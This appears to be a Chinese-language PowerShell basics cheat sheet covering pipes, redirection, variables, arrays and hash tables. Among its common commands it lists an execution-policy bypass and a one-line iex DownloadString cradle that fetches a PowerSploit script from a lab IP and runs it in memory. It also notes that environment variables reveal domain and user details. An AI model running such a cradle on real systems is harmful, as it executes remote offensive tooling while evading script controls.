目录:
1.管道和重定向
2.命令执行
3.变量
4.数组和哈希表 #@()创建数组,使用","把每个值分隔开,@{}创建哈希表,用";"把每个值分隔开
5.常用命令
get-help 查看帮助
get-command 查询命令
get-member 查看对象的成员信息
get-verb 获取所有动词
get-content 或者type 查看内容
$psversiontable 查看powershell版本
ls env: 查看所有环境变量
ls alias: 或者get-alias 查看所有的别名
get-executionpolicy 查看脚本执行策略
set-executionpolicy bypass 设置可以执行脚本
. ./test1.ps1 把test1.ps1加载到内存 注意两个点之间有一个空格
iex(New-Object Net.Webclient).DownloadString(‘http://10.10.10.132/PowerSploit-master/xx.ps1‘) iex远程下载脚本执行
在字符串前面加"&",可以执行命令或者启动程序
Powershell 是运行在windows机器上实现系统和应用程序管理自动化的命令行脚本环境。你可以把它看成是命令行提示符cmd.exe的扩充
powershell命令和参数不区分大小写
1.1管道 #把上一条命令的输出作为下一条命令的输入
注:通过ls获取当前目录的所有文件信息,然后通过sort-object 排序,默认升序
1.2重定向 #把命令的输出保存到文件中,‘>’为覆盖,’>>’追加
注:查看内容可以通过type或者get-content查看
2.Powershell 查看可以执行的cmd命令(cmd /c help )
3.1变量
在powershell中变量名均是以美元符”$”开始,剩余字符可以是数字、字母、下划线的任意字符,并且powershell变量名大小写不敏感($a和$A 是同一个变量)
powershell一切皆对象,变量也是对象,通过$str(变量名) | get-member 查看变量所拥有的属性以及方法
查看正在使用的变量 ls variable:
3.2环境变量
Powershell把所有环境变量的记录保存在env: 虚拟驱动中,因此可以列出所有环境变量 。一旦查出环境变量的名字就可以使用$env:name 访问了。
注:通过查找所有环境变量可以得到计算机名,当前所属域的域名,用户名等等
通过$env:属性名访问
4.1数组
1.命令返回数组 #当我们把一个命令的执行结果保存到一个变量中,可能会认为变量存放的是纯文本。
但是,事实上Powershell会把文本按每一行作为元素存为数组
2.创建数组:
在Powershell中创建数组可以使用逗号,创建空数组使用@()
3.访问、添加数组: #添加数组使用"+="
4.2哈希表
1.创建哈希表
之前使用@()创建数组,现在使用@{}创建哈希表,用";"把每个值分隔开,使用哈希表的键访问对应的值
2.修改、增加、删除哈希表
------------------------------------------------------------------------------------------------------------------
详细请参考:powershell在线教程:https://www.pstips.net/powershell-online-tutorials
原文地址:https://www.cnblogs.com/yuzly/p/10425566.html